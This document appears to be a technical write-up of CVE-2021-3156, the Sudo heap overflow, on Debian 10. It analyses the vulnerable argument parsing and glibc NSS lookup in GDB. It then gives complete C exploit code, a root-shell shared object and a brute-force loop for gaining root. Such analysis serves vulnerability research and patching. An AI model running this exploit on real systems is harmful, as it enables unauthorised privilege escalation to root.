Recently the Qualys Research Team did an amazing job discovering a Heap overflow vulnerability in Sudo. In the next sections, we will analyze the bug and we will write an exploit to gain root privileges on Debian 10.
   
Debugging Environment
Before analyzing the vulnerability, we need to set up a debugging environment. For this article, I will use:
- OS:
- Linux distribution: Debian 10 (Buster)
- Image: debian-10.7.0-amd64-DVD-1.iso
- System info:
Linux debian 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
- Debugger: GDB + PWNDBG
 
- Sudo:
- Package version: 1.8.27-1+deb10u2
- Checksum (sha256):
ca4a94e0a49f59295df5522d896022444cbbafdec4d94326c1a7f333fd030038
- Source code: sudo-1.8.27.tar.gz
- Debug symbols (sudo-dbgsym):
deb https://snapshot.debian.org/archive/debian-debug/20201231T202640Z/ buster-debug main
 
- Package version: 
- Glibc
- Glibc version: 2.28
- Checksum (sha256):
dedb887a5c49294ecd850d86728a0744c0e7ea780be8de2d4fc89f6948386937
- Source code: glibc-2.28.zip
 
- Glibc version: 
For debugging purposes, I will temporarily disable ALSR.
Agrument Parsing Is Not A Joke
As we can see from the Qualys’ article, if Sudo is executed with the -s option, the MODE_SHELL flag is set, then, at the
beginning of the
main()
function,
parse_args() is called to parse command line arguments, escaping all meta-characters with backslashes:
main() in src/sudo.c
[...]
195     /* Parse command line arguments. */
196     sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
[...]parse_args() in
src/parse_args.c
[...]
559     if (ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL) && ISSET(mode, MODE_RUN)) {
560     char **av, *cmnd = NULL;
561     int ac = 1;
562
563     if (argc != 0) {
564         /* shell -c "command" */
565         char *src, *dst;
566         size_t size = 0;
567
568         for (av = argv; *av != NULL; av++)
569         size += strlen(*av) + 1;
570         if (size == 0 || (cmnd = reallocarray(NULL, size, 2)) == NULL)
571         sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
572         if (!gc_add(GC_PTR, cmnd))
573         exit(1);
574
575         for (dst = cmnd, av = argv; *av != NULL; av++) {
576         for (src = *av; *src != '\0'; src++) {
577             /* quote potential meta characters */
578             if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
579             *dst++ = '\\';
580             *dst++ = *src;
581         }
582         *dst++ = ' ';
583         }
[...]
588         ac += 2; /* -c cmnd */
589     }
590
591     av = reallocarray(NULL, ac + 1, sizeof(char *));
[...]
596
597     av[0] = (char *)user_details.shell; /* plugin may override shell */
598     if (cmnd != NULL) {
599         av[1] = "-c";
600         av[2] = cmnd;
601     }
602     av[ac] = NULL;
603
604     argv = av;
605     argc = ac;
606     }
[...]Afterwards, in sudoers_policy_main(), set_cmnd() is called to concatenate command line arguments into the heap, unescaping meta-characters:
set_cmnd() in
plugins/sudoers/sudoers.c
[...]
787     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
[...]
819         // Alloc and build up user_args.
820          for (size = 0, av = NewArgv + 1; *av; av++)
821         size += strlen(*av) + 1;
822         if (size == 0 || (user_args = malloc(size)) == NULL) {
823         sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
824         debug_return_int(-1);
825         }
826         if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
[...]
832         for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
833             while (*from) {
834             if (from[0] == '\\' && !isspace((unsigned char)from[1]))
835                 from++;
836             *to++ = *from++;
837             }
838             *to++ = ' ';
839         }
[...]
853     }
[...]The Qualys researchers discovered that if a command line argument ends with a single backslash, then:
- 
At some point, at line 834, from[0]will correspond to the backslash andfrom[1]will be the NULL terminator at the end of the argument, so the!isspace((unsigned char)from[1])will be true.
- 
At this point, the condition at line 834 is satisfied, and at line 835 fromis incremented by one, pointing to the NULL terminator.
- 
At line 836 the NULL terminator is copied into the heap and fromis incremented by one again, pointing out of the argument’s bounds.
- 
The while loop continues copying every character out of the argument’s bounds into the heap and since sizeat line 821 was defined asstrlen(argument) + 1, it causes a heap overflow.
There are some necessary conditions to satisfy to reach the vulnerable code:
- At line 787, MODE_RUN,MODE_EDITorMODE_CHECKmust be set.
- At line 826, MODE_SHELLorMODE_LOGIN_SHELLmust be set.
The problem is that, if MODE_SHELL or
MODE_LOGIN_SHELL are set, then the condition at
line 559 in parse_args() is satisfied
before reaching the vulnerable code, and the meta-characters are escaped.
Apparently, there should not be a way to set
MODE_SHELL and MODE_CHECK or
MODE_EDIT without setting
MODE_RUN, indeed, as we can see from
parse_args():
[...]
348         case 'e':
349             if (mode && mode != MODE_EDIT)
350             usage_excl(1);
351             mode = MODE_EDIT;
352             sudo_settings[ARG_SUDOEDIT].value = "true";
353             valid_flags = MODE_NONINTERACTIVE;
354             break;
[...]
404         case 'l':
405             if (mode) {
406             if (mode == MODE_LIST)
407                 SET(flags, MODE_LONG_LIST);
408             else
409                 usage_excl(1);
410             }
411             mode = MODE_LIST;
412             valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
413             break;
[...]
500     if (argc > 0 && mode == MODE_LIST)
501     mode = MODE_CHECK;
[...]
514     if ((flags & valid_flags) != flags)
515     usage(1);
[...]If we set MODE_EDIT, the
MODE_NONINTERACTIVE flag is set at line
353, so we cannot set the
MODE_SHELL flag, and if we set the
MODE_CHECK flag, the other mode flags are
removed at line 501.
The Qualys’ researchers also managed to bypass these checks, executing
Sudo as sudoedit:
[...]
245     int valid_flags = DEFAULT_VALID_FLAGS;
[...]
263     proglen = strlen(progname);
264     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
265         progname = "sudoedit";
266         mode = MODE_EDIT;
267         sudo_settings[ARG_SUDOEDIT].value = "true";
268     }
[...]As we can see from the code above (always from
parse_args()), if we execute Sudo as
sudoedit, it will automatically add the
MODE_EDIT and valid_flags
will be preserved.
DEFAULT_VALID_FLAGS is defined as:
[...]
124 #define DEFAULT_VALID_FLAGS  (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
[...]Executing sudoedit with the
-s option, the
MODE_EDIT and MODE_SHELL flags are set without
MODE_RUN, so we will be able to
reach the vulnerable code with an argument that ends with a backslash
and it will not be escaped.
As expected, we can cause a memory corruption using
sudoedit -s '\' $(python3 -c 'print("A"*0x10000)'):
   
The Qualys Team, using a fuzzer, collected various crashes, three of them can lead to code execution.
Digging Deeper
Let’s use GDB to see what happens when the heap overflow occurs.
We can write a couple of lines in python to start the process and immediately stop it using SIGSTOP, this way we will be able to attach our debugger.
import subprocess, signal
cmd = ['sudoedit', '-s', 'A'*14 + '\\']
env = {'BBBBB': 'CCCCC'}
p = subprocess.Popen(cmd, env=env)
p.send_signal(signal.SIGSTOP)
input('[+] Attach GDB')It is important to note that we need root privileges to attach GDB to Sudo,
and we cannot run it inside GDB as a non-privileged user, otherwise it
will return the following, self-explanatory, error:
sudo: effective uid is not 0, is /usr/bin/sudo on a file system with the 'nosuid' option set or an NFS file system without root privileges?
To make the debugging session easier, I copied the necessary source code
files in a folder called src and then I used the
following GDB script to automate the first debugging steps:
directory ./src
set follow-exec-mode new
set breakpoint pending on
b sudoers.c:826
b sudoers.c:834
c
c
cWe can proceed running sudoedit using our python
script and attaching GDB to the process using the following command in another terminal:
gdb-pwndbg --pid=`pidof sudoedit` -x ./gdb_cmds
   
As we can see from the image above, size is equal
to 16: it is nothing more than:
strlen("AAAAAAAAAAAAAA\\") + 1. In RAX we can see
the heap pointer returned by malloc():
0x555555581dd0.
Using the pwndbg’s vis_heap_chunks feature, we can
visualize the allocated heap chunk. Its size is 32 bytes:
   
Using continue, we hit the second breakpoint
in the set_cmnd() function. Here the arguments
are copied from the stack to the heap:
   
Using continue multiple times, we can see the function copying our “A"s into the heap. At some point the backslash (not escaped in parse_args()), will escape the following NULL terminator that will be copied into the heap. The while
loop will continue, copying every character out of the argument’s bounds.
On the stack, argv is followed by
envp, therefore the environment variable
BBBBB=CCCCC will be also copied into the heap:
   
As expected, this results in a heap overflow. Using
vis_heap_chunks we can clearly see that we
overwritten the size of the next chunk with the last two characters of
the environment variable:
   
The next step is to transform this heap overflow into code execution.
GNU Name Service Switch (NSS)
At line 318 in sudoers_policy_main(), Sudo calls
sudoers_lookup()
to look up users in the sudoers group and verify if they are allowed to run
the specified command on the host. To do this, Sudo
relies on the Name Service Switch (NSS).
As we can read from gnu.org:
[...]
In a nutshell, the NSS is a mechanism that allows libc to be extended with new "name"
lookup methods for system databases, which includes host names, service names,
user accounts, and more.
[...]And from NSS Basics:
[...]
The basic idea is to put the implementation of the different services offered to access the databases in separate modules.
This has some advantages:
    - Contributors can add new services without adding them to the GNU C Library.
    - The modules can be updated separately.
    - The C library image is smaller.
[...]Available databases and respective services are defined in
/etc/nsswitch.conf. Each database has its own
services and each service corresponds to a shared object which offers
various functions.
From The Naming Scheme of the NSS Modules we can see that:
The name of each function consists of various parts:
    _nss_service_function
"service" of course corresponds to the name of the module this function is found in.
The function part is derived from the interface function in the C library itself.
If the user calls the function "gethostbyname" and the service used is "files" the function
        _nss_files_gethostbyname_r
in the module
        libnss_files.so.2
[...]Sudo uses __nss_database_lookup() to look up the required database and the respective service:
[...]
132   /* Are we initialized yet?  */
133   if (service_table == NULL)
134     /* Read config file.  */
135     service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
136
137   /* Test whether configuration data is available.  */
138   if (service_table != NULL)
139     {
140       /* Return first 'service_user' entry for DATABASE.  */
141       name_database_entry *entry;
142
143       /* XXX Could use some faster mechanism here.  But each database is
144      only requested once and so this might not be critical.  */
145       for (entry = service_table->entry; entry != NULL; entry = entry->next)
146     if (strcmp (database, entry->name) == 0)
147       *ni = entry->service;
[...]Then it passes the service structure, now assigned to the
ni variable, and the required function name with
__nss_lookup_function().
If the module corresponding to the service has already been loaded,
__nss_lookup_function() directly proceeds
constructing the function name and looking up the symbol in the shared
object. Otherwise, __nss_lookup_function()
calls
nss_load_library(),
that after constructing the module name, calls
__libc_dlopen_mode()
to effectively load the shared object into memory (Mind this point, it
will be extremely important in the exploitation stage):
[...]
360       char shlib_name[shlen];
361
362       /* Construct shared object name.  */
363       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
364                           "libnss_"),
365                     ni->name),
366               ".so"),
367         __nss_shlib_revision);
368
369       ni->library->lib_handle = __libc_dlopen (shlib_name);
[...]At this point nss_load_library() returns,
__nss_lookup_function() constructs the
function name and looks up the symbol in the loaded shared
object using
__libc_dlsym():
[...]
489           char name[namlen];
490
491           /* Construct the function name.  */
492           __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
493                         ni->name),
494                   "_"),
495             fct_name);
496
497           /* Look up the symbol.  */
498           result = __libc_dlsym (ni->library->lib_handle, name);
[...]You can read more about the dynamic linking process in the ret2dl_resolve article.
There are four important structures involved in this process. They are respectively:
[...]
90  typedef struct name_database
91  {
92    /* List of all known databases.  */
93    name_database_entry *entry;
94    /* List of libraries with service implementation.  */
95    service_library *library;
96  } name_database;
[...][...]
79  typedef struct name_database_entry
80  {
81    /* And the link to the next entry.  */
82    struct name_database_entry *next;
83    /* List of service to be used.  */
84    service_user *service;
85    /* Name of the database.  */
86    char name[0];
87  } name_database_entry;
[...][...]
61  typedef struct service_user
62  {
63    /* And the link to the next entry.  */
64    struct service_user *next;
65    /* Action according to result.  */
66    lookup_actions actions[5];
67    /* Link to the underlying library object.  */
68    service_library *library;
69    /* Collection of known functions.  */
70    void *known;
71    /* Name of the service ('files', 'dns', 'nis', ...).  */
72    char name[0];
73  } service_user;
[...][...]
40  typedef struct service_library
41  {
42    /* Name of service (`files', `dns', `nis', ...).  */
43    const char *name;
44    /* Pointer to the loaded shared library.  */
45    void *lib_handle;
46    /* And the link to the next entry.  */
47    struct service_library *next;
48  } service_library;
[...]These structures are used to look up database, service and the corresponding library. They will be our target in the exploitation phase.
Let’s proceed adding a couple of breakpoints to our GDB script to analyze this process in memory:
directory ./src
set follow-exec-mode new
set breakpoint pending on
b sudoers.c:826
b sudoers.c:834
c
c
c
b nsswitch.c:147
b nsswitch.c:498
b nsswitch.c:369
b __libc_dlopen_modeWe use
continue to reach the point where the heap overflow occours, then we use it again to hit the breakpoint in
__nss_database_lookup():
   
From the image above, we can see that Sudo is looking for the
group database. Now, using
continue once again, we can directly hit the
breakpoint at the end of __nss_lookup_function():
   
As we can see from the registers, Sudo is trying to look up the
_nss_files_initgroups_dyn symbol in the
files library. It did not call
nss_load_library() because there was already a
valid library handle in the service_library
structure (basically the shared object was already loaded into memory):
   
Using continue again, we hit the breakpoint
in nss_load_library():
   
This time, after constructing the library name
(libnss_systemd.so.2, stored in RDI), Sudo is
trying to use __libc_dlopen_mode() to load the
shared object. Let’s take a look to the ni
structure:
   
Predictably, the lib_handle field of the
service_library structure this time is NULL. The object needs to be loaded.
This field will be populated with the value returned by
__libc_dlopen_mode().
Sudo proceeds loading the shared object into memory, constructing the
requested function name, and finding the symbol in the library using
__libc_dlsym().
Now that we have a decent knowledge of how NSS works, we can start writing our exploit.
The Exploit
We know that the NSS library name is constructed in
nss_load_library() by the following piece of code:
[...]
360       char shlib_name[shlen];
361
362       /* Construct shared object name.  */
363       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
364                           "libnss_"),
365                     ni->name),
366               ".so"),
367         __nss_shlib_revision);
368
369       ni->library->lib_handle = __libc_dlopen (shlib_name);
[...]From an attacker prospective, this means that if we manage to overwrite
the name field in the corresponding
service_user structure with a malicious string, for example XXXXXX/XXXXXX, the resulting
string will be libnss_XXXXXX/XXXXXX.so.2.
Consequently, __libc_dlopen_mode(), being unable to
find the shared object in the default directory
(/usr/lib/x86_64-linux-gnu/), will look for it in
the folder libnss_XXXXXX, in the current directory.
At this point we could simply write a malicious shared object, hijack
the constructor and gain root privileges.
But it is not so easy. The first problem arises from the heap layout. Let’s do a step back and
let’s visualize the structures in memory, starting from the
name_database structure, assigned to the
service_table variable in __nss_database_lookup():
   
If we look at the addresses, we can immediately notice that they are
basically contiguous in memory. It means that if we want to use our heap
overflow to overwrite the name field in one of the
service_user structures, we will almost inevitably
overwrite other pointers “along the way”, probably causing a
segmentation fault.
For example, even if we managed to obtain an allocation at
0x55555557db00, right before the first database
entry, targeting the string "files" at
0x55555557dc30, our overflow would overwrite
multiple database entries, multiple services and so on.
We need to find a way to control the heap layout. Do we have any resource that we can use to create “holes” in the heap? The answer is yes!
At the very beginning of the Sudo main()
function, there is a call to
setlocale():
[...]
150
151     setlocale(LC_ALL, "");
152     bindtextdomain(PACKAGE_NAME, LOCALEDIR);
153     textdomain(PACKAGE_NAME);
154
[...]From the setlocale() source code, we can see that
it uses malloc() and
free() multiple times to allocate/deallocate
localization variables.
As we can read from opengroup.org:
[...]
LC_COLLATE, LC_CTYPE, LC_MESSAGES, LC_MONETARY, LC_NUMERIC and LC_TIME are defined to accept an additional field "@modifier",
which allows the user to select a specific instance of localisation data within a single category (for example,
for selecting the dictionary as opposed to the character ordering of data).
The syntax for these environment variables is thus defined as:
[language[_territory][.codeset][@modifier]]
[...]It means that we can use a string of an arbitrary length as
@modifier to control the size of the environment
variable. Afterwards, the allocated memory region will be freed, and
will create a “hole” in the heap. Hopefully, using this method we will be
able to control the heap layout.
For our first test, let’s use an argument size of 16 bytes, an envp size
of 256 bytes and a LC modifier of 57 bytes. Moreover, let’s set
SUDO_ASKPASS=/bin/false to prevent Sudo from
asking the user’s password:
Of course to identify the correct combination of sizes I had to spend some time in GDB.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define USER_BUFF_SIZE 0x10
#define ENVP_SIZE 0x100
#define LC_SIZE 0x39
#define LC_TIME "LC_TIME=C.UTF-8@"
int main(void)
{
    char user_buff[USER_BUFF_SIZE];
    char *envp[ENVP_SIZE];
    char lc_var[LC_SIZE];
    memset(user_buff, 'A', USER_BUFF_SIZE);
    user_buff[USER_BUFF_SIZE - 2] = 0x5c;
    user_buff[USER_BUFF_SIZE - 1] = 0x00;
    strcpy(lc_var, LC_TIME);
    memset(lc_var + strlen(LC_TIME), 'B', LC_SIZE - strlen(LC_TIME));
    lc_var[LC_SIZE - 1] = 0x00;
    for (int i = 0; i < ENVP_SIZE; i++)
        envp[i] = "C";
    envp[ENVP_SIZE - 3] = "SUDO_ASKPASS=/bin/false";
    envp[ENVP_SIZE - 2] = lc_var;
    envp[ENVP_SIZE - 1] = NULL;
    char *args[] =
    {
        "/usr/bin/sudoedit",
        "-A",
        "-s",
        user_buff,
        NULL
    };
    execve(args[0], args, envp);
}Let’s modify our python script to run our C program instead of directly
execute sudoedit:
import subprocess, signal
cmd = ['./test']
env = {}
p = subprocess.Popen(cmd, env=env)
p.send_signal(signal.SIGSTOP)
input('[+] Attach GDB')Using continue multiple times, we can reach the
breakpoint in __nss_database_lookup(), from here,
let’s use the search command to find the
LC_TIME variable in memory:
   
Now let’s take a look to the structures in memory:
   
The name_database structure (previously assigned
to the variable service_table), its first entry
and the next one, are respectively located at
0x55555557e5f0,
0x55555557e860 and
0x55555557e920 but now, the first
address highlighted in green, the service_user
structure in the second database entry (group), is
located at 0x555555580ea0, more than two pages
(0x2000 bytes) away from the other structures!
This is very good for us, because if we manage to obtain an
allocation between the second database entry and the location of its
first service, we will be able to use the heap overflow to overwrite the
name field in the
service_user structure.
Let’s use the tcachebins command to visualize the
current available chunks in tcache:
   
Nice! We have three available 0x40 chunks between the second database entry and its first service! Now allocating a user buffer of a certain size, we should be able to obtain an allocation in one of these chunks.
After updating the USER_BUFF_SIZE variable in the
exploit source code, from 16 bytes to 48 bytes, let’s run the
program again, reaching the breakpoint in
__nss_database_lookup() and then let’s use
search to locate the buffer in memory:
   
Perfect! We got an allocation in one of the three chunks:
0x555555580500. Now we only need to modify the
envp size to overwrite the
name field of the files
service. As we have seen in the previous section, the shared object
corresponding to the files service, has already
been loaded in memory, so __nss_lookup_function()
will directly try to look up the symbol in the library instead of using
nss_load_library(). This issue can be solved setting the library pointer to NULL.
Wait, but how can we use NULL bytes in envp?
We can populate envp with many
backslashes: since they will not be escaped, they will actually escape
the following NULL terminators that will be copied into the heap by
set_cmnd(). Exactly what we have already seen in
the first debugging session.
Now we can do some math and calculate the correct envp size to overwrite the
name field of the files service in the group database: 0x9b0 bytes.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define USER_BUFF_SIZE 0x30
#define ENVP_SIZE 0x9b0
#define LC_SIZE 0x39
#define LC_TIME "LC_TIME=C.UTF-8@"
int main(void)
{
    char user_buff[USER_BUFF_SIZE];
    char *envp[ENVP_SIZE];
    char lc_var[LC_SIZE];
    memset(user_buff, 'A', USER_BUFF_SIZE);
    user_buff[USER_BUFF_SIZE - 2] = 0x5c;
    user_buff[USER_BUFF_SIZE - 1] = 0x00;
    strcpy(lc_var, LC_TIME);
    memset(lc_var + strlen(LC_TIME), 'B', LC_SIZE - strlen(LC_TIME));
    lc_var[LC_SIZE - 1] = 0x00;
    for (int i = 0; i < ENVP_SIZE - 0x0f; i++)
        envp[i] = "\\";
    envp[ENVP_SIZE - 0x0f] = "XXXXXXX/XXXXXX\\";
    for (int i = ENVP_SIZE - 0x0e; i < ENVP_SIZE - 3; i++)
        envp[i] = "\\";
    envp[ENVP_SIZE - 3] = "SUDO_ASKPASS=/bin/false";
    envp[ENVP_SIZE - 2] = lc_var;
    envp[ENVP_SIZE - 1] = NULL;
    char *args[] =
    {
        "/usr/bin/sudoedit",
        "-A",
        "-s",
        user_buff,
        NULL
    };
    execve(args[0], args, envp);
}As we can see in GDB, as expected, set_cmnd() escapes the NULL bytes copying them into the heap:
   
Now we are able to set the
name field in the
target service_user to XXXXXX/XXXXXX and every other field to NULL:
   
Finally, nss_load_library() constructs the library name using our malicious name, and it loads
load the shared object from the libnss_XXXXXX folder in the current directory using
__libc_dlopen_mode():
   
At this point we only need to write a malicious shared object, named
XXXXXXX.so.2 and place it in a folder named
libnss_XXXXXX in the current directory:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
// gcc -shared -o XXXXXX.so.2 -fPIC XXXXXX.c
static void _init() __attribute__((constructor));
void _init(void)
{
    puts("[+] Shared object hijacked with libnss_XXXXXXX/XXXXXX.so.2!");
    setuid(0);
    setgid(0);
    if (!getuid())
    {
        puts("[+] We are root!");
        system("/bin/sh 2>&1");
    }
    else
    {
        puts("[X] We are not root!");
        puts("[X] Exploit failed!");
    }
}Executing our exploit again, we will be able to hijack the library and gain root privileges:
   
As a side note, I also managed to obtain root privileges hijacking a
service_user structure, overwriting the last two
bytes of the service field in the corresponding
database entry to make it point in an upper section of the heap, then I
created a fake service_user structure in this
region with a malicious name field. I will not elaborate on this approach here.
Now, because of slightly differences in the heap layout from system to
system, we cannot hard code sizes in our exploit. For example, another
Debian 10 might require a different ENVP_SIZE size
and/or a different LC_SIZE.
After some testing I managed to find a pattern that actually works for multiple systems. Bruteforcing will be required to find the correct combinations of sizes.
Here is the final exploit:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define USER_BUFF_SIZE 0x30
#define LC_TIME "LC_TIME=C.UTF-8@"
void main(int argc, char *argv[])
{
    char user_buff[USER_BUFF_SIZE];
    int envp_size = atoi(argv[1]);
    int lc_size = atoi(argv[2]);
    char *envp[envp_size];
    char lc_var[lc_size];
    memset(user_buff, 'A', USER_BUFF_SIZE);
    user_buff[USER_BUFF_SIZE - 2] = 0x5c;
    user_buff[USER_BUFF_SIZE - 1] = 0x00;
    strcpy(lc_var, LC_TIME);
    memset(lc_var + strlen(LC_TIME), 'B', lc_size - strlen(LC_TIME));
    lc_var[lc_size - 1] = 0x00;
    for (int i = 0; i < envp_size - 0x0f; i++)
        envp[i] = "\\";
    envp[envp_size - 0x0f] = "XXXXXXX/XXXXXX\\";
    for (int i = envp_size - 0x0e; i < envp_size - 3; i++)
        envp[i] = "\\";
    envp[envp_size - 3] = "SUDO_ASKPASS=/bin/false";
    envp[envp_size - 2] = lc_var;
    envp[envp_size - 1] = NULL;
    char *args[] =
    {
        "/usr/bin/sudoedit",
        "-A",
        "-s",
        user_buff,
        NULL
    };
    printf("\r[*] lc_size: 0x%lx / envp_size: 0x%lx", lc_size, envp_size);
    fflush(stdout);
    execve(args[0], args, envp);
}It will accept lc_size and
envp_size from command line, so we can use the
following bash script to run it:
#!/bin/bash
for (( i = 17; i < 512; i += 8 )); do
    for (( j = 512; j < 4096; j += 16 )); do
        ./exploit $j $i
    done
doneWe can enable ASLR and run the exploit again:
   
That’s it! We have our exploit for Debian 10! For every question/clarification, feel free to contact me. You can download all the files used in this article here:
CVE-2021-3156: Sudo heap overflow exploit for Debian 10
The exploit is currently tested on:
- 
Sudo: Version 1.8.27 (1.8.27-1+deb10u1) Checksum (sha256): b83f8f4e763ae9860f1e3bde7f6cc913da51ceccc31d84c1cca2f86ac680e1de Version 1.8.27 (1.8.27-1+deb10u2) Checksum (sha256): ca4a94e0a49f59295df5522d896022444cbbafdec4d94326c1a7f333fd030038
- 
Glibc: Version 2.28 Checksum (sha256): dedb887a5c49294ecd850d86728a0744c0e7ea780be8de2d4fc89f6948386937
- 
Debian 10: Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux Linux debian 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux Linux debian 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
References
CVE-2021-3156
GNU NSS
 
![[CVE-2021-3156] Exploiting Sudo Heap Overflow On Debian 10](assets/images/title.png)